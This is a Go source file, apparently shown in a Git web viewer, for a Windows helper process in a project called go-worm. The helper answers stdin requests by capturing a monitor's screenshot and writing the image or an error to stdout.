Files
go-worm/lib/capture/helper_windows.go
T

57 lines
1.1 KiB
Go
Raw Normal View History

//go:build windows
package capture
import (
"bufio"
"fmt"
"io"
"os"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
// RunHelper is the -capture process: one GDI grab per stdin request, then
// the process can be killed without taking the agent down.
func RunHelper() int {
in := bufio.NewReader(os.Stdin)
out := bufio.NewWriter(os.Stdout)
for {
monitor, format, quality, err := readRequest(in)
if err == io.EOF {
return 0
}
if err != nil {
_ = writeErr(out, err.Error())
_ = out.Flush()
return 1
}
img, err := grab(monitor, format, quality)
if err != nil {
if werr := writeErr(out, err.Error()); werr != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
continue
}
if err := writeFrame(out, img); err != nil {
return 1
}
if err := out.Flush(); err != nil {
return 1
}
}
}
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return screenshot.CaptureMonitor(monitor, format, quality)
}